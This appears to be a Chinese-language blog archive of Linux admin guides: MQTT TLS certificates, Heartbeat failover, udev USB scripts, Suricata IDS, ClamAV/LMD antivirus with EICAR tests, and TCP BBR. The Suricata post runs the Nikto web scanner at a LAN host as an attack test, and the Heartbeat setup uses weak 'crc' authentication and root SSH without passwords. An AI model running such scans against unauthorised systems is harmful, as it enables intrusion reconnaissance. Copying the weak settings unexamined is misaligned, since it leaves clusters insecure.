產生 self signed SSL key 的步驟

  1. Create a CA key pair

  2. Create CA certificate and sign it with the private key from step 1

  3. Create the broker key pair

  4. Create a CA certificate sign request using the key from step 3

  5. Use the CA certificate from step 2 to sign the request from step 4

  6. 產生 CA key pair

    m2mqtt_ca.key

openssl genrsa -des3 -out m2mqtt_ca.key 2048

# 下面會詢問 pass phrase,是用來保護 ca private key: m2mqtt_ca.key
Generating RSA private key, 2048 bit long modulus
..+++
.........+++
e is 65537 (0x10001)
Enter pass phrase for m2mqtt_ca.key:
Verifying - Enter pass phrase for m2mqtt_ca.key:
  1. 產生 CA 的憑證

    m2mqtt_ca.crt

openssl req -new -x509 -days 3650 -key m2mqtt_ca.key -out m2mqtt_ca.crt

##
Enter pass phrase for m2mqtt_ca.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:TW
State or Province Name (full name) []:Taiwan
Locality Name (eg, city) [Default City]:Taichung
Organization Name (eg, company) [Default Company Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:
Email Address []:
  1. 產生 mosquitto broker key pair

    m2mqtt_srv.key

openssl genrsa -out m2mqtt_srv.key 2048

####
Generating RSA private key, 2048 bit long modulus
..............................+++
.............+++
e is 65537 (0x10001)
  1. 產生 ceritificate request from CA

    m2mqtt_srv.csr

openssl req -new -out m2mqtt_srv.csr -key m2mqtt_srv.key

###
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:TW
State or Province Name (full name) []:Taiwan
Locality Name (eg, city) [Default City]:Taichung
Organization Name (eg, company) [Default Company Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, your name or your server's hostname) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
  1. 驗證,並對 certificate request 簽章

    m2mqtt_srv.crt

openssl x509 -req -in m2mqtt_srv.csr -CA m2mqtt_ca.crt -CAkey m2mqtt_ca.key -CAcreateserial -out m2mqtt_srv.crt -days 3650

得到的檔案

m2mqtt_ca.crt  : CA Certificate
m2mqtt_ca.key  : CA key pair (private, public)
m2mqtt_ca.srl  : CA serial number file
m2mqtt_srv.crt : server certificate
m2mqtt_srv.csr : certificate sign request, not needed any more
m2mqtt_srv.key : server key pair

mosquito 需要用到

m2mqtt_ca.crt  : CA Certificate
m2mqtt_srv.crt : server certificate
m2mqtt_srv.key : server key pair

複製檔案

mkdir /etc/mosquitto/certs
cp m2mqtt_ca.crt /etc/mosquitto/certs/
cp m2mqtt_srv.crt /etc/mosquitto/certs/
cp m2mqtt_srv.key /etc/mosquitto/certs/

修改 mosquitto.conf

# 修改 default listener
port 1883

# wss
listener 9001
protocol websockets
cafile /etc/mosquitto/certs/m2mqtt_ca.crt
certfile /etc/mosquitto/certs/m2mqtt_srv.crt
keyfile /etc/mosquitto/certs/m2mqtt_srv.key

如果啟動 mosquitto 在 /var/log/messages 看到這樣的錯誤,表示 openssl 必須要更新

relocation error: /lib64/libwebsockets.so.13: symbol SSL_CTX_set_alpn_select_cb, version libssl.so.10 not defined in file libssl.so.10 with link time reference
yum install openssl

重新啟動 mosquitto

systemctl restart mosquitto.service

從 netstat 發現 9001 只有對 ipv6 開啟,目前不曉得怎麼對 ipv4 也開啟

# netstat -anlp|grep 1883
tcp        0      0 0.0.0.0:1883            0.0.0.0:*               LISTEN      31430/mosquitto
tcp6       0      0 :::1883                 :::*                    LISTEN      31430/mosquitto

# netstat -anlp|grep 9001
tcp6       0      0 :::9001                 :::*                    LISTEN      31430/mosquitto

References

樹莓派安裝 Mosquitto 輕量級 MQTT Broker 教學,連接各種物聯網設備

How To Install and Secure the Mosquitto MQTT Messaging Broker on CentOS 7

如何在CentOS 7上安装和保护Mosquitto MQTT消息传递代理

CentOS7.0 mosquitto的安裝和配置

Enable Secure Communication with TLS and the Mosquitto Broker

mosquitto-tls — Configure SSL/TLS support for Mosquitto

2021/6/7

如何在 CentOS 7 安裝 Heartbeat

Heartbeat 3.x 版拆分為 heartbeat, cluster-glue, resource-agent 三個部分,必須要分開安裝。

  • 確認 hostname

    #vim /etc/hosts,增加兩行 (Server A 和 Server B 上都要各設定兩行)
    192.168.1.35 kokome1
    192.168.1.36 kokome2
  • 安裝編譯需要的套件,以及 kernel-devel-$(uname -r) kernel-headers-$(uname -r)

yum install -y bzip2 autoconf automake libtool glib2-devel libxml2-devel bzip2-devel libtool-ltdl-devel asciidoc libuuid-devel psmisc
  • 安裝 cluster-glue
wget http://hg.linux-ha.org/glue/archive/0a7add1d9996.tar.bz2

tar jxvf 0a7add1d9996.tar.bz2
cd Reusable-Cluster-Components-glue--0a7add1d9996/
groupadd haclient
useradd -g haclient hacluster
./autogen.sh
./configure --prefix=/usr/local/heartbeat/
make
make install

cd ..
  • 安裝 Resource Agents
wget https://github.com/ClusterLabs/resource-agents/archive/v3.9.6.tar.gz
tar zxvf v3.9.6.tar.gz
cd resource-agents-3.9.6/
./autogen.sh
export CFLAGS="$CFLAGS -I/usr/local/heartbeat/include -L/usr/local/heartbeat/lib"
./configure --prefix=/usr/local/heartbeat/

echo "/usr/local/heartbeat/lib" > /etc/ld.so.conf.d/heartbeat.conf
ldconfig

make
make install

cd ..
  • 安裝 heartbeat
wget http://hg.linux-ha.org/heartbeat-STABLE_3_0/archive/958e11be8686.tar.bz2
tar jxvf 958e11be8686.tar.bz2
cd Heartbeat-3-0-958e11be8686
./bootstrap
export CFLAGS="$CFLAGS -I/usr/local/heartbeat/include -L/usr/local/heartbeat/lib"
./configure --prefix=/usr/local/heartbeat/

vi /usr/local/heartbeat/include/heartbeat/glue_config.h
/*define HA_HBCONF_DIR “/usr/local/heartbeat/etc/ha.d/”*/   (這行用/**/註釋掉)

make
make install

cd ..
  • 複製設定
ln -svf /usr/local/heartbeat/lib64/heartbeat/plugins/RAExec/* /usr/local/heartbeat/lib/heartbeat/plugins/RAExec/
ln -svf /usr/local/heartbeat/lib64/heartbeat/plugins/* /usr/local/heartbeat/lib/heartbeat/plugins/

cp /usr/local/heartbeat/share/doc/heartbeat/ha.cf  /usr/local/heartbeat/etc/ha.d
cp /usr/local/heartbeat/share/doc/heartbeat/authkeys /usr/local/heartbeat/etc/ha.d
cp /usr/local/heartbeat/share/doc/heartbeat/haresources /usr/local/heartbeat/etc/ha.d
  • 修改 authkeys

vim /usr/local/heartbeat/etc/ha.d/authkeys #在最後加上

auth 1
1 crc
chmod 600 /usr/local/heartbeat/etc/ha.d/authkeys
  • 設定 ha.cf

因為這個檔案說明太多,尋找和修改不方便,執行下面把原來的換個名稱,把 ha.cf.old 檔案過濾掉註解,剩下的輸出到 ha.cf 檔案中再修改

mv /usr/local/heartbeat/etc/ha.d/ha.cf /usr/local/heartbeat/etc/ha.d/ha.cf.old
sed -e '/^#/d' -e '/^$/d' /usr/local/heartbeat/etc/ha.d/ha.cf.old > /usr/local/heartbeat/etc/ha.d/ha.cf

然後再去修改 /usr/local/heartbeat/etc/ha.d/ha.cf 內容 (參數說明去看剛剛備份的 /etc/ha.d/ha.cf.old)

vi /usr/local/heartbeat/etc/ha.d/ha.cf

logfile /var/log/ha.log
logfacility local0
keepalive 2
deadtime 30
initdead 120
bcast eth0
udpport 694
auto_failback on
node kokome1
node kokome2
ping 192.168.1.1
respawn hacluster /usr/local/heartbeat/libexec/heartbeat/ipfail
apiauth ipfail gid=haclient uid=hacluster

node 值必須和兩台主機的 uname -n 執行結果相符合 可以用 ping gateway ip 來偵測 logfile 是設定 heartbeat 執行情況的 log

  • 設定 haresources

vim /usr/local/heartbeat/etc/ha.d/haresources,最後加入一行

kokome1 IPaddr::192.168.1.13/24/eth0 tomcat httpd

第1個參數是 HA 的主要電腦的 hostname
第2個參數是虛擬介面 IP
第3個參數服務名稱
  • 把 heartbeat 設定全部複製到 Server B 上
scp -r /usr/local/heartbeat/etc/ha.d/ root@192.168.1.12:/usr/local/heartbeat/etc/ha.d/
  • 啟動 heartbeat

    service heartbeat restart
    
    chkconfig heartbeat on
    chkconfig --add heartbeat
    chkconfig --level 2345 heartbeat on
    chkconfig --list heartbeat
    
  • 如果 ifconfig 沒有看到 Virtual IP 的資訊 就改用以下指令

    ip -o -f inet addr show
  • ssh 免密碼

    yum -y install openssh-clients
    
    kokome1:
    mkdir -p /root/.ssh
    cd /root/.ssh
    ssh-keygen -t dsa
    按enter直到完成
    
    (id_kokome1.pub為自己辨識用的名稱)
    scp id_dsa.pub 192.168.1.12:/root/.ssh/id_kokome1.pub
    
    ssh 192.168.1.12
    cd /root/.ssh/
    cat id_kokome1.pub >> authorized_keys
    完成ssh免密碼
    
    kokome2:
    cd /root/.ssh
    ssh-keygen -t dsa
    按enter直到完成
    
    (id_kokome2.pub為自己辨識用的名稱)
    scp id_dsa.pub 192.168.1.11:/root/.ssh/id_kokome2.pub
    
    ssh 192.168.1.11
    cd /root/.ssh/
    cat id_kokome2.pub >> authorized_keys
    完成ssh免密碼
  • 測試

1) Server A 正常時 用瀏覽器連上 http://192.168.1.11,應該會出現 "I am kokome 1" 用瀏覽器連上 http://192.168.1.12,應該會出現 "連線失敗" 一類訊息 用瀏覽器連上 http://192.168.1.13,應該會出現 "I am kokome 1"

(2) Server A 當掉時 假設 Server A 當了,心跳 (heartbeat) 停了,請執行

service heartbeat stop

或把 Server A 關機

(工作接管可能需要 1,2分鐘)

用瀏覽器連上 http://192.168.1.11,應該會出現 "連線失敗" 一類訊息 用瀏覽器連上 http://192.168.1.12,應該會出現 "I am kokome 2" 用瀏覽器連上 http://192.168.1.13,應該會出現 "I am kokome 2"

(3) Server A 又復原

假設 Server A 復原,心跳 (heartbeat) 復原,請執行

service heartbeat start

(工作接管可能需要 1,2分鐘)

用瀏覽器連上 http://192.168.1.11,應該會出現 "I am kokome 1" 用瀏覽器連上 http://192.168.1.12,應該會出現 "連線失敗" 一類訊息 用瀏覽器連上 http://192.168.1.13,應該會出現 "I am kokome 1"

這樣表示測試成功

  • 發生 error

ERROR: Cannot locate resource script httpd

解決方法

cp /usr/sbin/apachectl /usr/local/heartbeat/etc/ha.d/resource.d/httpd

References

Current Linux-HA Release Downloads

centos7.5部署heartbeat+DRBD+mysql高可用方案

CentOS7數據庫架構之NFS+heartbeat+DRBD(親測,詳解)

Heartbeat 3.0.3 介绍及rpm

2021/5/24

如何偵測 usb device 異動

自 linux kernel 2.6 以後, udev 取代了 devfs 與 hotplug,負責處理 device 偵測與管理。他會動態在 /dev 目錄中 create/remove device node。

例如當我們插上一個 COM 轉 USB 的設備線路時,會產生 /dev/ttyUSB0 這個 device,然後程式就能針對這個 device 進行 COM Port IO 處理,當該設備線路被移除時, /dev/ttyUSB0 這個 device 會被刪除。

udev daemon 就是 systemd-udevd,用來接收 device uevents,並與 kernel 溝通。可以在 /etc/udev/rules.d/ 目錄中,產生 .rules 檔案,用來處理 usb device 異動。

首先要用 udevadm 監控 usb device 異動的 uevents

# udevadm monitor --kernel --property --subsystem-match=usb
monitor will print the received events for:
KERNEL - the kernel uevent

產生 ttyUSB0 時

KERNEL[13411.612407] add      /devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1 (usb)
ACTION=add
BUSNUM=002
DEVNAME=/dev/bus/usb/002/008
DEVNUM=008
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1
DEVTYPE=usb_device
MAJOR=189
MINOR=135
PRODUCT=67b/2303/400
SEQNUM=2450
SUBSYSTEM=usb
TYPE=0/0/0

KERNEL[13411.612646] add      /devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1/2-1.1:1.0 (usb)
ACTION=add
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1/2-1.1:1.0
DEVTYPE=usb_interface
INTERFACE=255/0/0
MODALIAS=usb:v067Bp2303d0400dc00dsc00dp00icFFisc00ip00in00
PRODUCT=67b/2303/400
SEQNUM=2451
SUBSYSTEM=usb
TYPE=0/0/0

當 ttyUSB0 被移除時

KERNEL[13367.889477] remove   /devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1/2-1.1:1.0 (usb)
ACTION=remove
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1/2-1.1:1.0
DEVTYPE=usb_interface
INTERFACE=255/0/0
MODALIAS=usb:v067Bp2303d0400dc00dsc00dp00icFFisc00ip00in00
PRODUCT=67b/2303/400
SEQNUM=2448
SUBSYSTEM=usb
TYPE=0/0/0

KERNEL[13367.889520] remove   /devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1 (usb)
ACTION=remove
BUSNUM=002
DEVNAME=/dev/bus/usb/002/003
DEVNUM=003
DEVPATH=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.1
DEVTYPE=usb_device
MAJOR=189
MINOR=130
PRODUCT=67b/2303/400
SEQNUM=2449
SUBSYSTEM=usb
TYPE=0/0/0

建立 add/remove 的 script

sudo vim /root/bin/usbdevice_added.sh

#!/bin/bash
echo "USB device added   at $(date)" >> /var/log/usbdevice.log


sudo vim /root/bin/usbdevice_removed.sh

#!/bin/bash
echo "USB device removed at $(date)" >> /var/log/usbdevice.log


sudo chmod +x /root/bin/usbdevice_added.sh
sudo chmod +x /root/bin/usbdevice_removed.sh

根據 udevadm monitor 得到的屬性 SUBSYSTEM, ACTION, DEVTYPE,設定對應的 script

vim /etc/udev/rules.d/80-usb.rules

SUBSYSTEM=="usb", ACTION=="add", ENV{DEVTYPE}=="usb_device",  RUN+="/root/bin/usbdevice_added.sh"
SUBSYSTEM=="usb", ACTION=="remove", ENV{DEVTYPE}=="usb_device", RUN+="/root/bin/usbdevice_removed.sh"

reload udevadm

sudo udevadm control --reload
tail -f /var/log/usbdevice.log

References

How to Run a Script When USB Devices Is Attached or Removed Using UDEV

How to Use Udev for Device Detection and Management in Linux

How to run custom scripts upon USB device plug-in?

2021/5/10

Install Suricata in CentOS 7

Suricata 是 IDS (Intrusion Detection System),也是 IPS (Intrusion Prevention System),由 Open Security Foundation (OISF) 開發。

IDS 系統是監控網路,檢查並偵測是否有特殊可疑的活動。 IDS 只有監看與記錄的功能。

IPS 是入侵預防系統,是 IDS 的強化產品,可即時偵測並主動防禦。能夠直接把可疑封包移除,中斷連線,發送 email 示警。

以往 IDS 系統都會提到 Snort,而 Suricata 跟 Snort 的主要差異是性能,Suricata 以 multithread 運作。

安裝 suricata

安裝 library

yum install epel-release
sudo yum -y install gcc libpcap-devel pcre-devel libyaml-devel file-devel \
  zlib-devel jansson-devel nss-devel libcap-ng-devel libnet-devel tar make \
  libnetfilter_queue-devel lua-devel PyYAML libmaxminddb-devel rustc cargo \
  lz4-devel

編譯最新的 6.0.0 stable 版

cd /usr/src

wget https://www.openinfosecfoundation.org/download/suricata-6.0.0.tar.gz

tar -xvzf suricata-6.0.0.tar.gz

cd suricata-6.0.0

./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-nfqueue --enable-lua

make

make install
ldconfig

# make install-conf
# make install-rules
make install-full

查詢版本

# suricata -V
This is Suricata version 6.0.0 RELEASE

注意 suricata.yaml 的設定

HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"

直接測試(先以 ifconfig 查詢網路卡的名稱 enp2s0)

# suricata -c /etc/suricata//suricata.yaml -i enp2s0

設定自動啟動

vim /etc/init.d/suricatad

#!/bin/sh
# $Id$
#
# suricatad         Start/Stop the suricata IDS daemon.
#
# chkconfig: 2345 40 60
# description:  Suricata is a lightweight network intrusion detection tool that \
#                currently detects more than 1100 host and network \
#                vulnerabilities, portscans, backdoors, and more.
#

# Source function library.
. /etc/rc.d/init.d/functions

# See how we were called.
case "$1" in
start)
    echo -n "Starting Suricata: "
    daemon PCAP_FRAMES=max /usr/bin/suricata -D -c /etc/suricata/suricata.yaml -i enp2s0
    ;;
stop)
    echo -n "Stopping Suricata: "
    killproc suricata
    echo
    ;;
restart)
    $0 stop
    $0 start
    ;;
status)
    status suricata
    ;;
*)
    echo "Usage: $0 {start|stop|restart|status|}"
    exit 1
esac

exit 0
chmod +x /etc/init.d/suricatad
chkconfig --add suricatad
service suricatad start
service suricatad status

設定 log rorate

vi /etc/logrotate.d/suricata.logrotate

/var/log/suricata/*.log /var/log/suricata/*.json
{
    rotate 30
    missingok
    nocompress
    create
    sharedscripts
    postrotate
        /bin/kill -HUP `cat /var/run/suricata.pid 2>/dev/null` 2>/dev/null || true
    endscript
}

nikto 攻擊測試

在另一台機器,以 nikto 作攻擊測試

Nikto 是 web server scanner 可測試 67000 潛在可能有問題的檔案,檢查 webserver index files 及 HTTP server options。

wget https://github.com/sullo/nikto/archive/master.zip -O nikto.zip
unzip nikto.zip
cd nikto-master/program
chmod +x nikto.pl
./nikto.pl -h 192.168.1.5 -p 80

References

Suricata CentOS Installation

Suricata Basic Setup

suricata rules

CentOS 7安裝IDS/IPS安全監測工具(Snorby+Barnyard2+Suricata)

在 CentOS 7.x 上安裝 Suricata 入侵偵測系統

[研究] Suricata 3.0 入侵偵測系統安裝 (CentOS 7.2 x64)

基於CentOS6.5下Suricata(一款高性能的網絡IDS、IPS和網絡安全監控引擎)的搭建(圖文詳解)

2021/5/3

Install ClamAV in CentOS 7

安裝 ClamAV

sudo yum -y install epel-release
sudo yum -y install clamav clamd

# 如果有 selinux,要 enable selinux
sudo setsebool -P antivirus_can_scan_system 1

增加台灣病毒碼更新資料庫

sudo vi /etc/freshclam.conf

DatabaseMirror db.tw.clamav.net
DatabaseMirror clamav.stu.edu.tw

更新病毒碼

sudo freshclam

ClamAV update process started at Wed Oct 28 14:39:25 2020
daily database available for download (remote version: 25970)
Time: 17.0s, ETA: 0.0s [=============================>] 108.67MiB/108.67MiB
Testing database: '/var/lib/clamav/tmp.1a97b/clamav-3ea52eb38408f34bb5f4419b3286235e.tmp-daily.cvd' ...
Database test passed.
daily.cvd updated (version: 25970, sigs: 4336254, f-level: 63, builder: raynman)
main database available for download (remote version: 59)
Time: 17.3s, ETA: 0.0s [=============================>] 112.40MiB/112.40MiB
Testing database: '/var/lib/clamav/tmp.1a97b/clamav-087960cd134405741c214b5dd9915ec8.tmp-main.cvd' ...
Database test passed.
main.cvd updated (version: 59, sigs: 4564902, f-level: 60, builder: sigmgr)
bytecode database available for download (remote version: 331)
Time: 0.4s, ETA: 0.0s [=============================>] 289.44KiB/289.44KiB
Testing database: '/var/lib/clamav/tmp.1a97b/clamav-4905f2da7d8e4b680242ba674f8d9ced.tmp-bytecode.cvd' ...
Database test passed.
bytecode.cvd updated (version: 331, sigs: 94, f-level: 63, builder: anvilleg)

設定自動更新病毒碼

mkdir -p /var/log/clamav
chown -R clamupdate:clamupdate /var/log/clamav/

sudo vi /etc/freshclam.conf
UpdateLogFile /var/log/clamav/freshclam.log

增加自動更新病毒碼 cronjob

vi /etc/cron.daily/freshclam.sh

#!/bin/sh
/usr/bin/freshclam --quiet -l /var/log/clamav/freshclam.log


chmod 755 /etc/cron.daily/freshclam.sh

另一種設定自動更新的方式,是直接啟動 clamav-freshclam.service

設定 clamd

vi /etc/clamd.d/scan.conf

LocalSocket /var/run/clamd.scan/clamd.sock

# 啟用紀錄
LogFile /var/log/clamd/clamd.scan

# 啟用記錄訊息時間
LogTime yes

# 啟用LocalSocket
LocalSocket /var/run/clamd.scan/clamd.sock

# 啟用ExtendedDetecionInfo
ExtendedDetectionInfo yes

# 啟用PidFile
PidFile /var/run/clamd.scan/clamd.pid

產生 clamd log file

mkdir -p /var/log/clamd/
touch /var/log/clamd/clamd.scan
chown -R clamscan:clamscan /var/log/clamd

啟動 clamd

sudo systemctl enable clamd@scan
sudo systemctl start clamd@scan

設定每日自動掃瞄特定目錄

儲存記錄檔於 /var/log/clamscan_daily.log

mkdir -p /var/log/clamscan

vi /etc/cron.daily/clamscan.sh

#!/bin/sh
echo "************" >> /var/log/clamscan/clamscan_daily.log
date '+%Y-%m-%d %T' >> /var/log/clamscan/clamscan_daily.log
/usr/bin/clamscan -i -r /var/www/html >> /var/log/clamscan/clamscan_daily.log
chmod 755 /etc/cron.daily/clamscan.sh

logrotate

vi /etc/logrotate.d/clamscan.logrotate

/var/log/clamscan/clamscan_daily.log {
   missingok
   rotate 30
   daily
}

修改 clamscan.logrotate

vi /etc/logrotate.d/clamav-update

/var/log/clamav/freshclam.log {
    monthly
    notifempty
    missingok
    postrotate
        systemctl try-restart clamav-freshclam.service
    endscript
}

安裝 LMD

# 安裝 EPEL
yum -y install epel-release
# 安裝 mailx
yum install mailx
wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
tar -zxvf maldetect-current.tar.gz

cd maldetect-1.6.4/
./install.sh

ln -s /usr/local/maldetect/maldet /bin/maldet
hash -r

LMD 預設安裝目錄在 /usr/local/maldetect/ , 裡面的 conf.maldet 就是 LMD 的設定檔, 開啟 LMD 的設定檔

vi /usr/local/maldetect/conf.maldet

# 如果要發 email,要改成 1
email_alert="0"
email_addr="user@domain"

quarantine_hits="1"
quarantine_clean="1"

scan_clamscan="1"

掃描後查看 report

maldet -e list

# read report
maldet –report SCANID

# clean report
maldet --clean SCANID

測試 LMD

mkdir -p /var/www/LMDtest
cd /var/www/LMDtest
wget https://www.eicar.org/download/eicar.com 
wget https://www.eicar.org/download/eicar.com.txt 
wget https://www.eicar.org/download/eicar_com.zip 
wget https://www.eicar.org/download/eicarcom2.zip

chown -R httpd:httpd /var/www/LMDtest

掃描

maldet -a /var/www/LMDtest

看 report

maldet --report 201028-1639.16052

PATH:          /var/www/LMDtest/
TOTAL FILES:   4
TOTAL HITS:    4
TOTAL CLEANED: 0

FILE HIT LIST:
{HEX}EICAR.TEST.3 : /var/www/LMDtest/eicar.com => /usr/local/maldetect/quarantine/eicar.com.575417503
{HEX}EICAR.TEST.3 : /var/www/LMDtest/eicarcom2.zip => /usr/local/maldetect/quarantine/eicarcom2.zip.2371612503
{HEX}EICAR.TEST.3 : /var/www/LMDtest/eicar.com.txt => /usr/local/maldetect/quarantine/eicar.com.txt.17479243
{HEX}EICAR.TEST.3 : /var/www/LMDtest/eicar_com.zip => /usr/local/maldetect/quarantine/eicar_com.zip.8340145
===============================================
Linux Malware Detect v1.6.4 < proj@rfxn.com >

隔離區 /usr/local/maldetect/quarantine/

# 刪除隔離區檔案
rm -rf /usr/local/maldetect/quarantine/*

References

Install and configure LMD and Clam AntiVirus on CentOS 7

How to Install and Use Linux Malware Detect (LMD) with ClamAV as Antivirus Engine

CentOS7 安裝防毒軟體 ClamAV

How to Install ClamAV on CentOS 7: A Step-by-Step Guide

CENTOS 7 安裝ClamAV

2019/1/28

Google TCP BBR Congestion Control


自 1980 年代網際網路崛起,到 1990 年代快速發展開始,就產生了 TCP 以及 UDP 的 IP 網路,1983年1月1日,ARPANet要求未來所有的網路傳輸都使用 IP 網路,統一了開放網路的規格。


網路通道就像是一條水管/水道,這條通道用來傳送資料,因為沒有即時調節流量的機制,TCP 透過接收端發送確認已經收到封包的 ACK,來判斷是否發送的速度太快,流量控制就是在控制資料發送端的發送速度。


BBR (Bottleneck Bandwidth and Round-trip propagation time) 演算法是 Google 在 2016 年提出的流量控制演算法,他透過有效頻寬偵測機制,並降低網路節點的 buffer 使用量,藉由減低重傳的效能消耗問題,提高頻寬使用率。


流量控制是在做什麼工作


把網路傳輸通道 TCP 想像為一條從山頂的水庫到目的地海洋的河流或水管,水庫有大量水資源,希望能運用水道以最短時間送到海洋,但是水庫並不知道這個水道有多寬,能以多少速度的水量放水。如果水放得太慢,無法享用水道的總流量,水放得太急,有可能會超過水道容量,而讓水漫出水道,造成淹水的情況。


流量控制,就是控制水庫放水速度的一個演算法,因為水道容水量的情況是隨時都在改變的,問題在於,並沒有即時回報的機制,可以隨時調節流量,另外,由於發送端貪婪的本性,他會希望盡可能完全佔用網路水道的所有容水量。


但總不能一直送一直送,也不管接收端有沒有收到資料吧。TCP 的機制是,在接收到收到封包時,會回覆一個 ACK 封包,確認已經收到了,透過 ACK 的偵測,就可以知道現在發送的速度,是不是已經超過了網路通道的容量,如果發生封包遺失的狀況時,發送端就知道要降低發送速度了。


雖然是開放網路,公平競爭,但實際上還是看誰最會搶佔網路資源,因此有些演算法強調搶佔的特性,會侵蝕掉使用其他演算法的 TCP 連線。


但從提供網路服務這一端來看,他希望所有來使用服務的使用者,可以公平地使用伺服器對外的網路通道,而且要盡可能減少因為 TCP 重傳的機制,造成無效的網路資源浪費,這時候,採用強調發送端公平使用網路的演算法,會比較有利。


因為網路通道本身不穩定的特性,如果中間有遇到無線網路時,這種情況會更嚴重,因此網路的路由器本身,通常都會加上 Buffer 的機制,能夠讓暫時無法發送的網路資料,存放在 Buffer 裡面,希望能藉此改善整體網路的效能。就像是水道中間,會加上一些滯洪池的機制,預防水量瞬間增加的問題。


然而這些 Buffer 卻因為 TCP 流量控制貪婪的本性,而被濫用,因為 TCP 希望自己能盡可能使用到網路的最大流量,所以也會盡可能將自己的封包,把路由器的 Buffer 塞滿,讓自己的速度更快,這也會造成 Bufferbloat 的問題。


網路上有許多網路節點,除了控制路由以外,有些節點還增加了 QoS(Quality of Service) 或是 Traffic Shaping 的機制,這也是基於剛剛提到的 Buffer 而提供的功能,因為有了 Buffer,路由器可以先將需要傳送的資料,放入不同等級的 Buffer 裡面,保留固定的傳送頻寬給具有高傳輸權限的網路封包。


BBR 演算法


BBR 演算法的細節,以這兩篇文章的說明比較清楚。


TCP BBR擁塞控制算法解析


Linux Kernel 4.9 中的 BBR 算法與之前的 TCP 擁塞控制相比有什麼優勢?


要不然就要看原始發表的論文


BBR: Congestion-Based Congestion Control Measuring bottleneck bandwidth and round-trip propagation time


BBR 解決問題的方案有兩點


  1. 因無法區分 congestion packet loss 及 error packet loss,BBR 考慮讓網路不產生 packet loss
  2. 因為把 buffer 塞滿可產生最大流量,但也會造成 RTT 降低,BBR 交替進行頻寬及 delay(RTT) 偵測

BBR 的四個狀態


  1. STARTUP
    採用標準的 slow start 方式,指數增加發送速度,發現頻寬被佔滿時,就進入 DRAIN 的階段
  2. DRAIN
    降低發送速度,將佔用的 buffer 排空
  3. PROBE_BW
    改變發送速度進行頻寬偵測,在一個 RTT 內增加發送速度,如果 RTT 沒有改變,就降低發送速度,排空先前多送的封包,在六個 RTT 內使用這個發送速度
  4. PROBE_RTT
    每經過 10s,如果沒有得到一個更低的延遲時間,就進入延遲偵測的階段,持續 200ms (或一個 RTT),這個階段固定發送 4 packets,偵測得到的最小 delay 時間作為最新的延遲時間

一些實測的結果


GCP採用新演算法TCP BBR 傳輸率將提高2700倍!


又一個 TCP BBR 的測試結果


spotify: Smoother Streaming with BBR


BBR 阻塞算法,真是黑科技


這些是使用了 BBR 以後的測試說明,全部都是正面,效能有改善的結果。


Google 在宣傳 BBR 時,都說明只要修改 Server 的部分,讓 Server 以 BBR 演算法運作,原因在於,流量控制演算法著眼的重點,是大量資料的發生源,會產生大量資料,發送出來的地方。只要修改 Server 的原因是他們是針對 Youtube 這樣提供串流服務的 Server 套用 BBR,換句話說,BBR 適用於 Sender Side。


因為串流影音的特性,就是需要一條長時間運作且傳輸量穩定的網路通道,這正好符合了 BBR 提供的流量結果,因為沒有使用到 Router 的 buffer,也沒有大量的重傳封包抵銷了網路的效能。


如果是類似 Hangouts Meeting 這樣的多人雙向影音的應用,因為客戶端 client side 如果沒有使用 BBR,就可能會產生不穩定的個人影音發生源,即使 Server Side 提供了 BBR,也無法形成一個有良好體驗的網路環境。


並不是所有人都認為 BBR 是有用的,以 令人躁動一時且令人不安的TCP BBR算法 這篇文章提出的論點來看,BBR 適合用在速度比較穩定的網路通道上,因為增速快,降速慢的特性,並不適用於忽快忽慢的網路。


我個人的想法是,只要決定了網路通道,固定了網路通道,那麼大部分的情況,網路是穩定的,該文章提出的問題,說明的並不恰當,如果通道上有些路徑的頻寬比較小,這會讓整條網路通道都因為這個最小頻寬的一段路而降速。因為流量控制只會根據接收端的 ACK 來調節,沒辦法知道中間經過每一個網路節點的速度。


會發生問題的地方,應該是網路忽快忽慢的情況,因為變化太大,演算法無法很快地調節到最佳的傳送速度,但這應該是所有演算法都會遇到的問題,BBR 改善的結果已經有顯著的效果了。


如何啟用 BBR


How to Deploy Google BBR on CentOS 7


開啟TCP BBR擁塞控制算法


因為 BBR 已經有在 linux kernel 4.9+ 的版本上實作,在各 linux distribution 的安裝方式,都是安裝新的 kernel repo,將 kernel 更新到 4.9+。


然後在 /etc/sysctl.conf 增加這兩行設定


net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr

sysctl -p

用以下指令確認有沒有安裝成功


sysctl net.ipv4.tcp_available_congestion_control
sysctl net.ipv4.tcp_congestion_control
lsmod | grep bbr

BBR 可以終結流量控制的問題嗎?


這個 wiki 上的漫畫說明了現實的狀況,原本 BBR 的開發者,想要設計一個新的演算法,打敗既有12種 TCP Congestion Control 演算法,一統江湖,三年後,終於在 Linux 4.9 版 kernel 實現了 TCP BBR,但還是有某些缺陷,而現在變成了有 13 種 TCP Congestion Control 演算法。


https://upload.wikimedia.org/wikipedia/commons/3/34/Comic_strips_Linux_BBR.svg


References


TCP BBR


TCP擁塞控制


Faster Networking with TCP BBR


TCP BBR : Magic dust for network performance


Google最新tcp擁塞控制算法BBR解析

2018/6/11

tmux


